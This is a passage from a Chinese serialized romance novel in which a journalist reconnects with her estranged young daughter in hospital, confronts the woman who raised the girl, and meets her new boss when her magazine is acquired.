姜淑慧张了张嘴,大概还记着刚才他那句“断绝母子情义”的警告,最终只是悻悻地瞪了我一眼,转身离开了医院。
夜里的住院部格外安静,只有走廊里跟我们一样等待消息的病人家属。
ICU不让进去,外面只有长椅。
孙杰说在医院旁边安排了酒店让我去休息,但我和顾时序谁都没有走。
我靠在金属长椅上,顾时序也是。
很久之后,我打破沉默:“顾时序,能不能放过我?跟我离婚,把朵朵还给我。”
顾时序闻言,疲惫地揉了揉眉心,眼底满是红血丝。
他沉默了几秒,才缓缓开口:“这件事,能不能等朵朵康复了再说?如果现在我把朵朵还给你,她醒来后看不到我,你觉得以她现在的状态,你能搞定吗?”
我攥紧了手,指尖泛白。
我终究没再反驳,只是把头偏向一边,任由沉默将我们都包裹着。
翌日清早。
ICU传来消息,朵朵病情平稳,已经能转入普通病房。
我跟着护士快步走过去,隔着病床的护栏,看见女儿小小的身子躺在病床上。
头发因为手术被剃光,还缠着纱布。
我心针扎一样地疼,顾时序更是心疼地望着女儿,恨不得替她去受这份罪。
朵朵刚醒,眼神还有些迷茫。
等她清醒了一会儿,小嘴一瘪就开始找苏雅欣。
“爸爸,妈妈呢?我要妈妈……”
顾时序立刻上前,轻轻握着她的小手,不动声色地看了我一眼。
随即,她温声哄道:“朵朵,妈妈还在剧组忙工作,忙不过来。这几天,爸爸和叶阿姨一起照顾你,好吗?”
朵朵瞬间哭了,“我不想要叶阿姨,我就想要我妈妈!”
我站在原地,心脏像被重物压住,闷得喘不过气。
明明我才是她的亲生母亲,却只能站在旁边,听着她找别人“妈妈”。
这时,孙杰走了进来,说是需要顾时序去交警大队处理昨天朵朵车祸的事。
他对我道:“你先陪着朵朵,我尽快回来。”
路过我时,他低声叮嘱道:“她要是找妈妈,你想办法用她感兴趣的事哄她,转移她注意力就好。”
顾时序走了,病房里只剩我和朵朵两人。
我慢慢走到病床边,贪恋地望着她的眉眼,该怎么告诉她,怎么让她接受我才是她妈妈这件事呢?
就在这时,门口突然传来苏雅欣的声音:“朵朵!”
我猛地回头,就看见苏雅欣快步走进来,身后还跟着脸色阴沉
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的姜淑慧。
显然,是姜淑慧把她带过来的。
朵朵听到声音,原本有些蔫蔫的小脸瞬间亮了,“妈妈!”
苏雅欣快步上前,故意侧身把我挤到一边,坐在病床边,貌似很心疼地道:“妈妈的乖乖,都怪妈妈工作太忙,没照顾好你,让你受这么大罪。还疼不疼啊?”
姜淑慧跟着走进来,一把拉住我的胳膊,把我拽到病房外的走廊里。
她冷笑一声,语气满是嘲讽:“看见了吧?朵朵是雅欣一手养大的,她心里只认雅欣和时序,你算什么?”
我冷嗤了声,道:“我算什么?那你应该去问你儿子!”
姜淑慧上下打量着我,道:“你要是真喜欢孩子,就识相点跟时序离婚。找个普通男人,想生几个生几个,没人拦着你!知道时序当年为什么把这孩子从你身边抱走吗?那是因为他觉得你根本就不配做他孩子的母亲!”
其实无论顾时序怎么想,对我来说,已经不重要了。
可她这番不知廉耻的话,还是让我气得发抖。
就在这时,苏雅欣从病房里出来,哭着道:“叶小姐,妈在路上已经把事情跟我说了,我没想到朵朵竟然是你的女儿。可现在,在朵朵心里,我才是她的妈妈,你能不能大度一点,不要打扰朵朵平静的生活?也不要给她造成困扰?算我求你!”
一股怒火直冲头顶,我扬手就给了她一记耳光。
苏雅欣捂着脸,一丝阴戾自她眼中闪过,可她偏偏捂着脸装柔弱,“叶小姐,如果打我能让你出气,能让你放过朵朵,你就打吧!为了朵朵,我什么都愿意做!”
就在这时,门口一个稚嫩的声音充满着愤怒,传了过来:“你这个坏女人,你又欺负我妈妈!”
我不可思议地往声音的方向望去。
朵朵正光着脚站在门口,‘哇’的一声哭了出来。
苏雅欣立刻过去,也不将朵朵赶紧抱回病房,反而蹲下拥抱着她,上演着母女间的苦情戏。
“朵朵,妈妈没关系的!为了你,妈妈什么委屈都愿意受!”
朵朵也搂着苏雅欣,恨恨地说:“妈妈,等爸爸回来,我就让爸爸赶她走!朵朵不要你哭,不要你受委屈!”
我站在原地,双脚像灌了铅,一动不动。
冷风从走廊的窗户缝里钻进来,我却感觉不到冷,只剩下深入骨髓的疼,一点点啃噬着我的五脏六腑。
就在这时,顾时序回来了。
他见状,紧皱眉头道:“发生什么事了?”
苏雅欣见他来了,更是蹲在原地,搂着光着脚的朵朵泣不成声地哭。
姜淑慧赶忙走上前告状,“时序啊,你睁开眼睛看看,雅欣都被叶昭昭欺负成什么样了?她打了你不算,还打雅欣!朵朵才刚醒,她就闹出这么大的动静,她配当朵朵的亲妈吗?”
顾时序冷冷的目光从我身上掠过,没说什么,径直走到朵朵面前,直接抱起朵朵回到病房。
苏雅欣赶忙起来跟上。
病房里,朵朵也在跟爸爸告状。
“爸爸,你把那个坏女人赶走,再也不让她出现在我们面前,好不好?”
小丫头抽泣着道:“她打我妈妈,欺负我妈妈!妈妈好可怜!”
苏雅欣一边抹着眼泪,一边道:“宝贝儿,妈妈没事,有你这么贴心的小棉袄,妈妈受多大苦,都不碍事的。”
顾时序将女儿刚才站在地上冰凉的小脚握在手心捂着,心疼道:“谁让你下来的?大人的事,爸爸来解决。朵朵只要把病养好,知道吗?”
我看着顾时序的一举一动,忽然间,释怀了。
如果没有我,他也会把朵朵照顾得很好吧?
不管他是不是个合格的丈夫,但作为爸爸,他没得说。
无论苏雅欣居心何在,这些年,朵朵依然健康的成长。只要有顾时序在,朵朵以后应该也不会受什么委屈。
我最后看了眼被顾时序捧在手心里呵护着的小姑娘,什么都没再说,转身默默离开了医院。
我什么都不要了,我只想离顾时序远远的,再也不见。
第104章 顾时序被逼剃光头
我走出医院大门,沿着路边慢慢走了很久,直到冷风把我吹得异常清醒了,我才拦了辆出租车去杂志社。
我坐在工位上,从校对稿件到整理采访资料,一鼓作气把昨天采访顾时序的新闻稿写了出来。
只有让大脑被工作填满,那些关于朵朵、关于病房里的画面才不会钻出来,心口的疼也能轻一点。
这时,孟云初走过来,问:“你不会也被我传染感冒了吧?脸色怎么这么差?”
“大概是昨天没休息好。”
我云淡风轻地应着,继续进行手边的事情。
孟云初道:“你去休息吧,这些采访资料本里就该我去的,我来整理。”
我笑了笑,道:“已经弄得差不多了,你不用管我,我就想让自己忙碌一点。”
孟云初似乎明白了什么,没有追问我原因,拍拍我的肩膀道:“要是扛不住就跟我说一声,我给你休假。”
“嗯。”
主编即将离职,孟云初手中的权限也越来越大。
她走后,我继续写新闻稿,全身心地投入。
不知过了多久,手机突然震动起来,屏幕上显示是“顾时序”。
我盯着那名字看了几秒,才接了电话。
“你在哪儿?”他的声音透过听筒传来,带着一丝不易察觉的紧绷。
我尽量让语气听起来平静:“单位工作多,我回去了。朵朵那边有苏雅欣和你,应该不需要我了。”
“昭昭,”
顾时序顿了顿,语气放缓了些,“别着急,我会慢慢做朵朵的思想工作,让她接受你。”
我扯了扯嘴角,声音里满是苦涩,已经不想再去追究过往他的错了。
“不必了,顾时序。朵朵现在的生活很安稳,有你疼,有她认的‘妈妈’陪,强行改变只会让她难受。你好好保护她,别让她受委屈,就够了。”
说完,我没等他回应,直接挂断了电话,重新埋进了工作里。
……
我加班到深夜才回家,洗了澡,也依旧浑身疲惫,睡梦中,反复出现我的女儿用一双仇视的眼睛瞪着我,恨不得杀了我的样子!
最后,我被噩梦惊醒,再也睡不着了。
翌日清早,宋今若带着早餐来我家。
“你怎么来了?”
我声音沙哑,心不在焉地刷牙洗脸。
宋今若站在一旁,皱眉看着我的黑眼圈:“我听裴炎京说了,朵朵出了车祸。听他那意思,你已经跟朵朵相认了?”
我用冷水洗了把脸,擦干,才缓缓将昨天的事告诉了她。
宋今若听完,眼眶瞬间红了。
“顾时序这狗东西居然干出这种事?”宋今若的咬牙切齿的说:“还有那个苏雅欣,鸠占鹊巢这么多年,脸皮比城墙还厚!”
我不可置否地牵起唇角,自嘲地说:“他怎么想的,我不在乎。甚至他至今为止都不告诉我,他把朵朵抱给别人养的原因,我都不想知道了。反正,结果已经造成了,就是现在这样的局面。”
宋今若担忧地问:“那总得想个办法让这孩子接受你啊!难道,就这么看着她认贼作母?苏雅欣那种**,迟早得把孩子教成她那种货色!”
“今若,我打算放弃了。”
我压下喉咙里的哽咽,道:“顾时序对朵朵很好,他不会放任朵朵走歪路的。强扭的瓜不甜,我不想让朵朵恨我。有苏雅欣在,这孩子怕是永远都不会接受我的。”
宋今若握住我的手,满是心疼地为我打抱不平:“你跟顾时序结婚四年,为他生了一个孩子,流了一个孩子,凭什么要落得这样的收场?当初是他把朵朵抱走,骗了我们所有人!可最后呢,他这个始作俑者得到了一切,凭什么!”
我自我安慰似的说:“这样也好,我不跟他争朵朵,也不要他的一分钱,没什么能阻挡我离婚了。我不求别的,只求他能做个好爸爸。”
宋今若愤愤地说:“我看未必!他现在是对朵朵好,可以后呢?跟你离婚后,他总要再娶的。你觉得他跟苏雅欣结婚后,这女人会真的对朵朵好吗?有了后妈就有了后爸,你别这么相信顾时序!”
我们正说着,宋今若的手机突然响了。
她看到来电显示,眉头紧皱:“怎么是顾时序?”
电话一直在响,宋今若犹豫了一下,接起来,摁下了扬声器。
她语气算不上好,“喂,什么事?”
“我想过段时间把朵朵转回圣辉幼儿园,麻烦你现在帮我办一下手续。”
顾时序言简意赅地说完,挂了电话。
宋今若把手机扔在茶几上,翻了个白眼吐槽,“屁事真多,早干嘛去了!”
我分析道:“当初他把朵朵放在家里,不让她出去,应该只是为了躲着我。他也知道,这样下去,对孩子的发展不好。况且,放在家里,姜淑慧也照顾不好她。还不如去幼儿园,反而还没发生过像这次这样的事呢。”
宋今若吐槽了一会儿,她还是拿起手机给幼儿园的负责招生的老师打电话,叮嘱对方尽快处理。
过了会儿,她突然站起身,道:“我得回去一趟跟我爸通个气儿。不然,以我爸对顾氏那个讨好程度来说,估计就颠儿颠儿地跑到医院去看朵朵了。可现在,顾时序心情肯定不好,谁知道我爸会不会说出什么话惹到他?我得去看着我爸!有我在旁边,多少能提醒他一些。”
我点点头。
她见我一点都没有其他的意思,便问道:“你真的不跟我们一起去医院吗?你……真就这么放弃了?”
“嗯,你们去吧。回来跟我说一声她现在是什么情况就行了。”
我装作云淡风轻的样子,好像真的不在乎了。可其实,是我不敢自己去看,怕再撞见她抱着苏雅欣叫妈妈,怕再看见她用那种仇视的眼神盯着我。
宋今若叹了口气,离开了我家。
当天晚上,她就给我带来了朵朵的消息。
“今天我跟我爸去了医院,朵朵一直在哭,顾时序根本就哄不住。”宋今若叹了口气,道:“听说是因为她知道自己被剃光了头发,无法接受,哭得根本停不下来,连饭都没吃。”
我听得揪心,问:“那现在呢?怎么样了?”
宋今若道:“我跟我爸离开的时候,她都还哭得停不下来。顾时序说,让我明天把幼儿园的小朋友带来,让大家跟她说些加油打气的话,看看能不能让她开心一些?”
跟宋今若通完话,我心里沉重极了。
虽然我决定放弃争夺朵朵的抚养权,可当妈的,没有不在乎自己孩子的,更不可能在孩子经历痛苦的时候无动于衷。
恰好此时,顾时序的电话打了进来。
他声音里满是疲惫,道:“朵朵手术后什么都不愿意吃,我实在是没有办法了。她喜欢吃你做的饭,你能不能……”
我沉默了良久。
轻轻“嗯”了声。
顾时序听见我答应了,语气终于不再似刚才那般颓丧,而是说了三个字:“谢谢你。”
我没来由的心塞,冷冷说了句:“她是我女儿,不用你谢我!”
挂了电话,我开始查孩子手术后开胃的食谱。
然后又搜索了各种牌子的儿童假发,选了很久,终于选了几款适合朵朵的。
我交了定金,再三嘱咐对方,一定要做到逼真。
翌日,我又跟单位请了两天假。
……
因为心里有事,我一夜没睡好。
翌日一早,我便去了超市买食材,去给朵朵做饭。
上午时分,我便带着做好的饭菜去了医院。
当时,宋今若刚好带着幼儿园的小朋友过去,大家都准备了礼物送给朵朵。
顾时序柔声哄道:“朵朵,你看,小朋友们都在给你加油。所以我们要好好吃饭,养好身体就可以回去上幼儿园,跟小朋友们一起玩儿了。”
朵朵靠在床上也不接大家的礼物,闷闷不乐的。
失去头发对她的打击,应该是太大了。
就在这时,我拿着饭盒进来。
朵朵看见我,似乎更不开心了。
我微微叹了口气,对顾时序道:“你喂给她吧,我走了。”
就在我准备离开时,一个扎羊角辫的小姑娘突然眼睛亮了,转头看着朵朵:“顾依朵,这是你妈妈吗?她不是电视上那个‘最美记者’吗?我妈妈说她去地震区做新闻记者,是英雄呢!”
朵朵一愣,赶紧看着我,大大的眼睛里装满了疑惑和好奇。
旁边的小男孩踮着脚,仰着脑袋看我,语气里满是崇拜:“阿姨,你好漂亮哦!我妈妈那天说,你比电视上的明星还漂亮呢!”
瞬间,几个孩子都围到我身边,七嘴八舌地问:“阿姨,地震的时候你会不会害怕呀?”
我看着一堆可爱的小家伙,笑了笑,道:“一开始会有点怕,但可以帮助到别人,就不害怕啦。而且那里有很多叔叔阿姨一起努力。”
“原来朵朵妈妈不仅会做饭,还这么勇敢!”
一个孩子的感叹刚落,我就看见朵朵抗拒的面容轻轻松动了些。
原本满是质疑的眼神,悄悄软了下来,不再像刚才那样视我为敌人。
这时,一个戴眼镜的小男孩突然拍了下手,道:“我想起来了!上次朵朵说她的妈妈教她做饼干,还带给我们吃呢!好好吃哦!阿姨,你真厉害!”
我看了眼朵朵,朵朵有些心虚地避开我的眼神。
我想,应该是小孩子都有些虚荣心的,再加上宋今若说过,她在幼儿园总是得不
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到认可,所以才跟同学们这么说。
朵朵这时又看向我,带着丝请求,像是生怕我揭穿她似的。
我笑了下,对她的同学们道:“如果你们喜欢吃,阿姨下次再给你们做,让朵朵带给你们!”
孩子们开心地欢呼起来,纷纷道:“顾依朵,你好幸福啊!你妈妈那么勇敢,做的饼干还这么好吃。”
朵朵脸上仿佛有了一丝小小的骄傲。
她声音小小的,又加了句:“我妈妈还会做蛋糕呢,是拉布布样子的,上面有好多草莓,可好看了!”
“哇!”
病房里的再次出现孩子们羡慕的低呼声。
宋今若悄悄对我竖了个大拇指,顾时序的目光一直锁在我身上,墨色的眸子藏着某种说不清道不明的情绪。
宋今若看着时间快到中午了,便带着孩子们离开,朵朵的心情也好了很多,还主动跟宋今若说再见。
随着孩子们的离开,病房里安静下来。
朵朵有些脸红,难为情地说:“对,是我跟小朋友们说谎了。他们的妈妈都会做点心,所以我才骗他们,饼干是我妈妈做的。”
我心中一阵刺痛,明明,我就是她妈妈啊!
我走到她床边坐下,轻轻抚了抚她柔软的脸蛋,道:“朵朵没有说谎,我其实就是……”
话刚说到一半,顾时序突然打断道:“朵朵,饿了吧?看看阿姨给你带什么吃的了?”
朵朵的注意力被飘着饭菜香味的餐盒吸引。
顾时序一边帮她拨着饭菜,一边低声对我道:“现在还不是你跟她说这些的时候,有点耐心,否则,我怕她接受不了。”
我轻轻捏着手指,闷闷地‘嗯’了声。
就在这时,朵朵突然想起了什么,才吃了两口饭,就又不想吃了。
顾时序温柔地问:“怎么了?”
朵朵亮晶晶的眼睛看着爸爸,道:“爸爸,你爱我吗?”
顾时序一愣,笑了笑,道:“爸爸当然爱你。”
“那你可以跟我一起剃光头发吗?”
小丫头很认真、很严肃地看着顾时序,道:“不然,家里就我一个光头,好难看的。你陪我,可以吗?”
顾时序的表情肉眼可见地僵在脸上,半天,才打马虎眼儿道:“朵朵,小孩子头发长得很快的,说不定等你出院的时候,头发就长出来一些了。”
可朵朵却执拗地说:“才不是呢!爸爸你就会骗人!就算出院了,我头发也不可能长到能扎小辫子啊!”
一向在商场上杀伐决断的男人,此时却对着女儿一点办法都没有。
他只能耐心地哄着:“朵朵,爸爸每天要去公司工作,这个……这个……”
他支支吾吾半天说不出个所以然来。
小丫头听出了顾时序拒绝的意思,扯着嗓子哭了起来:“爸爸,你不是说光头也很好看吗?那为什么你不愿意陪我一起变成光头?”
而我,将我已经给朵朵买了假发的事咽进了肚子里,我可不想给顾时序解围!
最好他被朵朵逼着剃了光头,他不是喜欢修佛吗?正好满足他!
活该!
就在顾时序被朵朵缠得没办法的时候,苏雅欣的声音突然传进病房。
“朵朵,看妈妈给你带什么来了!”
她说着,已经将买来的甜品放在了桌上。
只不过看见我也在,她那双眼睛立刻浮现出一抹警惕。
朵朵一打岔,就忘记了刚才逼顾时序剃光头的事,而是跟苏雅欣撒娇:“妈妈,你下午还要去工作吗?朵朵想让妈妈一直陪着我。”
苏雅欣走过去抱着女儿,似笑非笑的瞥了我一眼。
随即,故意用比平日里更加亲密的语气道:“那妈妈跟剧组请个假,下午哪儿都不去,就陪着我的乖女儿,好吗?”
“嗯。”
朵朵腻在苏雅欣怀里,瞬间就忘了我的存在。
我跟顾时序对视了一眼,随即站起身准备离开。
可顾时序突然道:“雅欣,你跟我出来一下。”
他面色严肃,苏雅欣脸上一僵,还是跟他出去了。
顾时序走到门口,对我道:“你也过来。”
我们三个一起进了楼梯间。
苏雅欣一副心系女儿的慈母形象,道:“时序哥,你有什么话要说吗?朵朵还在病房等着我,我们不能离开太久的。”
顾时序眸光又黑又沉,清冷的语气带着一抹决绝:“雅欣,这几年辛苦你了,谢谢你把朵朵抚养到这么大。”
“时序哥,你……”
苏雅欣的声音带着疑惑。
“我会给你一笔补偿,足够你下半辈生衣食无忧,”顾时序语气没有一丝波澜,“但从今天起,我会慢慢让朵朵接受昭昭。你和昭昭,该各归各位了。”
第105章 顾时序决定断干净
一抹震惊划过苏雅欣精致的面容。
下一秒,她眼睛通红,声音发颤:“时序哥,你……你说什么?”
她上前一步想拉顾时序的胳膊,却被他不动声色地避开。
苏雅欣踉跄了一下,眼泪立刻涌了出来,声音带着哭腔:“我知道朵朵是叶小姐的女儿,可这些年,我哪天不是把她当亲生的疼?我不能没有她,你这是在挖我的血肉啊!”
她一边说一边抹眼泪,那副委屈模样,仿佛受了天大的欺负。
我看着她惺惺作态的样子,积压在心里的火气全部涌了出来。
我冷声道:“把她当亲生的?那你敢说,你从没利用过她?从没伤害过她?”
苏雅欣的哭声顿了顿,眼神闪过一丝慌乱。
我盯着她的眼睛,一字一句道:“之前朵朵吃了我送的饭菜突发**,你敢说不是你做的手脚?那个被推出来顶罪的女佣,不过是你早就找好的替罪羊!”
“不是我!”
苏雅欣立刻尖声反驳,眼泪掉得更凶,“那件事不是已经调查清楚了吗?是她对时序哥怀恨在心才害朵朵!叶小姐,你想夺回女儿我能理解,可你不能为了目的,把所有脏水都往我身上泼啊!”
她哭得浑身发抖,仿佛下一秒就要晕过去。
顾时序却没像往常那样心软,脸色依旧冷沉,语气没有丝毫缓和:“雅欣,现在不是争论这些的时候。朵朵还在病房静养,我不希望再有任何事打扰她。”
他顿了顿,语气很决绝:“该给你的补偿,我绝不会吝啬。但从今天起,如果没有必要,你就不要再来找朵朵了。”
苏雅欣彻底愣住了,眼泪还挂在脸上,却忘了继续哭。
她大概从没料到,顾时序会如此果断,毫无预兆,连一点挽回的余地都不给。
愣了几秒后,她才反应过来,嘴唇哆嗦着想说什么。
可看着顾时序不容置疑的眼神,最终还是没敢再争辩,只能捂着嘴,转身踉跄地跑下了楼梯。
之前顾时序虽然知道真相,却总顾及着苏雅欣“抚养朵朵多年”的情分,从未如此干脆过。这次他的态度,倒让我有些意外。
可后来想想,有什么奇怪的?
我跟他青梅竹马二十年,他不也是这般绝情?
顾时序根本就没有心,无论是对我,还是对苏雅欣,他给的爱,只建立在他对他自己有利的时候。
就在我愣神之际,他走过来,轻轻握住我的手,道:“朵朵只是个孩子,只要你真心对她好,她很快就会接受你。”
他的指尖摩挲着我的手背,语气带着安抚:“别再说那些放弃的话了。你说得对,谁都不会比亲生母亲对女儿好。”
就在这时,不远处传来一阵脚步声。
竟是沈宴州带着外公外婆,一起向我们走了过来。
下一秒,他的目光已经扫了过来,视线精准地落在我和顾时序交握的手上。
我下意识想把手抽回来,可反而被顾时序悄悄抓紧。
他的力道不重,偏偏就是让我无法挣脱。
紧接着,顾时序牵着我,从容不迫地迎上前,仿佛没察觉到沈宴州的异样。
“外公,你们怎么来了?”顾时序先开了口。
外公担忧地说:“我听你母亲说,朵朵出车祸了?现在怎么样了?有没有伤到哪里?”
“手术很成功,已经没事了,但需要留院观察一段时间。”
顾时序安抚着,“让您和外婆担心了。这大冷天的,还亲自跑来一趟。”
外婆闻言,立刻双手合十对着空气拜了拜,嘴里念叨着:“谢天谢地,没事就好,没事就好……”
几人说话间,只有沈宴州站在一旁沉默着。
他没看顾时序,也没看外公外婆,目光始终落在我身上,眼神复杂得让人猜不透。
顾时序像是没注意到这微妙的气氛,突然开口,语气带着几分刻意:“对了,还要多谢舅舅。之前我和昭昭之间有些误会,多亏舅舅从中提点,我们才能把话说开。”
沈宴州面色冷凝,没有说话,像是没听到似的。
顾时序握着我的手又紧了紧,继续道:“朵朵的确是我和昭昭的亲生女儿。以后,我们一家三口会好好过日子,不会再让老人家操心。”
他话落,沈宴州嘴角勾起一抹极淡的弧度,语气听不出情绪:“恭喜你们,一家团圆。”
我站在旁边,只觉得浑身不自在,可顾时序死活不肯放开我的手。
这时,外婆笑了笑,欣慰地道:“我就说吧!夫妻之间没有隔夜的仇,说开了,就好了。”
外公也以为我会为了孩子原谅顾时序,所以对外孙提点道:“以后,你可要好好对昭昭!你之前做的那些混账事,是昭昭大度原谅了你。若是以后你再敢犯混,我第一个要她跟你离婚!”
我正想开口说离婚还是要离的,我并没有为了孩子跟顾时序妥协的打算。
可顾时序先一步开口道:“外公外婆放心吧,以后我会好好对昭昭。”
外婆道:“既然你们和好了,那快带我们去病房看看孩子,我这心啊,一直悬着放不下。”
顾时序应了声“好”,牵着我的手转身往病房走。
经过沈宴州身边时,我们的视线不经意碰撞了一下,我赶忙避开了他的目光。
因为,那目光太冷、太沉,让我莫名心慌。
外公外婆来看了朵朵,叮嘱了几句话,就离开了。
我想送他们出去,顾时序却道:“你在这里陪朵朵,我去!”
我知道,他是不想我跟沈宴州接触。
可我本来跟沈宴州之间也就没什么,的确没必要跟出去解释什么。
就这样,顾时序去送外公他们离开,而我在病房里陪着朵朵。
小姑娘朝外面看了眼,疑惑地‘咦’了声,问:“我妈妈呢?”
我语塞,只能编了个幌子:“她有急事走了。”
“这样啊……”
她落寞地垂下眼眸,小声道:“妈妈总是很忙……”
为了让她开心一些,我将昨晚定的几款儿童戴的假发从手机相册里打开,道:“朵朵,等你头上的手术伤口好了,去掉了纱布,可以戴着假发去幼儿园。而且,你每天都可以换不同的发型。”
朵朵的主意力被转移过来,下意识地说:“我知道这个,我妈妈就经常戴假发,好多发型都好漂亮的!”
“是啊,我们朵朵在新头发长出来之前也可以戴。”
说完,我打开假发的款式,道:“我们一起来选一选,好不好?”
“嗯嗯。”
朵朵来了兴趣,顿时也忘了找苏雅欣了,认真地跟我讨论着哪款发型好看?
这时,顾时序刚好回来。
朵朵已经挑了好几款她喜欢的发型,随即,笑眯眯地对顾时序道:“爸爸,你不用陪我一起变光头啦!因为,我很快就可以戴假发了!”
顾时序肉眼可见地松了口气,这才知道,是我想出了这个办法,不仅让朵朵开心了,而且小丫头也不逼着他剃光头了。
“谢谢你,昭昭。”
他深深地望着我。
我对他这种深情的目光毫无波澜,冷冷道:“我只是想让朵朵开心而已,不是为了你。”
顾时序表情僵在脸上,虽有不悦,但还是忍下了。
这时,朵朵突然想到了什么,若有所思地看着我,道:“你也去了地震灾区吗?可是我妈妈对我说,她去了地震灾区,她才是英雄。”
我真是感叹苏雅欣的无耻。
我都不敢说自己是“英雄”,苏雅欣哪来的脸?
朵朵好奇地说:“刚才幼儿园的小朋友们说网上都有你在地震灾区的照片,可以给我看看吗?”
我随便找了几个关于我在灾区采访和帮忙救援的照片,朵朵小眉头皱着道:“你怎么灰头土脸的?我妈妈的照片可漂亮了!”
我不知该怎么回答她。
而顾时序目光似乎变得很沉重,仿佛突然的醒悟。
毕竟,苏雅欣教给朵朵的“美”,并不是真正的美。
我想,顾时序现在应该也发现了。
而为了扭转女儿的三观,顾时序并没有让这个话题过去,而是道:“朵朵,地震灾区是很艰苦的,真正的英雄,是警察、医生、消防人员,大家都是灰头土脸的。正因为有这么多灰头土脸的人,才挽救了很多生命。所以,他们是最美的人,明白吗?”
朵朵望着爸爸,又看看我,似懂非懂地点点头。
不知道是不是因为今天我让朵朵在小朋友们面前出了回风头,又或是我提出了可以戴假发的建议,朵朵对我没有之前那般抵触了。
不知不觉就到了傍晚。
我没有留下,依然是顾时序在这儿照顾她。
回到家,我刚洗漱完,放在桌上的手机震动起来。
孟云初这么晚给我打电话,难道,是有什么紧急工作?
我划开接听键,便听见她神秘兮兮的声音:“昭昭,你家里的事处理得怎么样了?跟你说个大消息,咱《深度周刊》被收购了!”
“收购?”我愣了一下,道:“不可能吧,上周开会不是还说这季度效益创了新高吗。”
“谁知道呢,”孟云初的声音透着股茫然,“听说是个特大型集团,明天老总亲
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自来视察。人事部刚发通知,全员不准请假,迟到都不行。你可千万别掉链子,明天一定得来啊。”
我应了声,将手机铃声调得提前了一小时。
毕竟,我明早还得给朵朵准备早餐送过去。
……
翌日清早,我一起床就开始马不停蹄地准备早餐。
送到医院时,我正准备离开,却被朵朵叫住:“叶阿姨,我昨天又选了几个好看的假发,还有发卡,你要不要看看?”
小姑娘眼睛亮晶晶地看着我,很期待。
我心中柔软,走过去便看见手机上,她把自己选好的发卡都放在购物车里。
女孩子对这些东西仿佛有着天生的兴趣,一打开话匣子,她就滔滔不绝:“你看着蝴蝶结的,可以戴在假发上吗?你觉得粉色的好看,还是紫色的好看?”
顾时序欣慰地看着这一幕,在一旁道:“看来,朵朵对你的审美很认可。我刚才帮她选的,她都不听。要我说,都买下来算了。”
我想到今天新老板要来部门视察,赶紧帮她选了一个。
可朵朵又打开了一个链接,继续拉着我选,正在兴头上。
“朵朵,我下班回来帮你选,好吗?”
我看了眼时间,再不走,就真的要迟到了。
朵朵有些扫兴,叹了口气,道:“好吧……”
虽然我很珍惜她好不容易主动跟我说话的时刻,可我的工作和事业对我来说,也同样重要。
就这样,我匆忙离开医院,驱车往公司开去。
偏偏今天主干道还堵车,到达公司时,已经迟到了十分钟。
办公区异常安静,所有人都站在工位旁,连呼吸都放轻了。
我猫着腰想神不知鬼不觉地溜到自己的工位。
就在这时,迎面而来一群西装革履的人正簇拥着一个男人往这边走。
抬眼的瞬间,我瞬间僵在原地。
怎么是沈宴州?
今天的他穿着手工定制的浅灰色西装,身形挺拔,侧脸的线条冷硬利落,正听旁边的人汇报着什么。
我就这么赤裸裸地被抓包了。
孟云初担忧地望着我,刚想上前替我打圆场,就听见沈宴州先开了口:“贵公司的员工时间观念似乎很差。”
他声音不高,却带着不怒自威的压迫感。
孟云初硬着头皮帮我打圆场:“沈总,叶昭昭她……她还在试用期,暂时没有正式入职。”
“试用期就迟到?”沈宴州眉峰微挑,语气里的嘲讽毫不掩饰,“看来贵公司的录用标准,确实需要整改。”
孟云初的汗都下来了。
我僵硬地站在原地,动也不是,不动也不是。
整个部门的目光都锁在我身上,我头皮发麻。
就在这时,我眼角的余光瞥见沈宴州身后的陪同人员里,竟站着个熟悉的身影。
乔丽?
顾时序以前的助理。
我还没来得及反应,沈宴州便对她吩咐道:“乔秘书,去查一下这位叶小姐的考勤记录。”
乔丽立刻应了下来,看向我的时候,大有一种“你完了”的眼神。
我完全没想到,乔丽被顾时序解雇之后,竟然攀上了更高的枝头。
不过想想也是,她是名牌大学毕业,人品虽然不怎么样,但能力很强。
之前她和孙杰一起做顾时序助理的时候,许多孙杰处理不了的事,最终都是她搞定的。
不过,她当时做顾时序助理时就觊觎老板,不知道现在做了沈宴州的秘书,这个毛病,有没有改掉?
很快,乔丽拿着人事科的考勤记录表回来。
她走到沈宴州身边,微微欠身道:“沈总,刚才我去人事科问过了,这位叶昭昭记者试用期期间经常请假。听人事科说,她有过去地震灾区的经历,所以居功自傲,根本不服管理。”
周围的空气瞬间更沉了,所有人都等着看沈宴州发作。
我甚至已经做好了被辞退的准备。
可沈宴州只是瞥了乔丽一眼,语气并不快活:“乔秘书,我只是让你去查她的考勤,没有让你打听她的风评。我不喜欢自作主张的人。”
乔丽当场变了脸色,立刻低下头,战战兢兢的道:“抱歉,沈总。”
随即,沈宴州看了我一眼,道:“跟我来办公室。”
我微微怔了下,直到他转身往主编办公室走,才慌忙跟上。
而我,也成为了所有人关注的焦点,幸灾乐祸、好奇、担忧的目光统统落在我身上。
主编办公室被临时征用成了沈宴州的临时办公点。
进了办公室,沈宴州深深地看着我,吐出两个字:“关门。”
第106章 我的身份终于被揭开!
我心里一咯噔,缓缓将办公室的门关上了。
沈宴州坐在办公桌后,哪怕一句话不说,散发出的气场都压得人喘不过气。
这眼神让我想起昨天在医院,沈宴州看我的目光。
克制着微乱的心跳,我竟然自顾自地解释起来:“沈总,我……只是想跟朵朵亲近一些,才……"
“你在跟我解释?”
他突然开口,打断了我的话。那双深邃的眼睛透着我看不懂的情绪。
我愣了愣,下意识点头:“我其实已经决定跟顾时序……”
“叶昭昭。”
他突然打断我,眸光也冷了下来,“我是你的上司。你的私事,包括你跟顾时序怎么样,跟我没关系,不必特意解释。”
我的脸颊“唰”地一下烧了起来,窘迫像潮水一样袭来。
对啊,我跟他解释这些干嘛?
沈宴州眸光严肃地落在我身上,语气更是没有一丝温度:“但我得提醒你,要是一心想回去做你的顾太太,当你的家庭主妇,就别占着公司的位置耽误时间。职场不是让你三心二意的地方!”
“好的,沈总。”
我低下头,低低地应了声,心底莫名泛起一丝涩意。
“出去吧!”
沈宴州下了逐客令,起身走到落地窗边,背影一副拒人于千里之外的模样。
我识趣地退了出去。
刚好遇到迎面而来的乔丽。
她讥讽地勾起唇角,道:“叶昭昭,就你,你配混职场?被顾总养在家里好好的,就这么继续被他养着呗!何必出来祸害别人?”
“我祸害谁了!”
我冷冷看着她,一字一句道:“乔丽,你别以为我不敢把你以前干的那些破事告诉沈宴州!”
乔丽眯着眼睛不屑地说:“沈总的名字也是你叫的?”
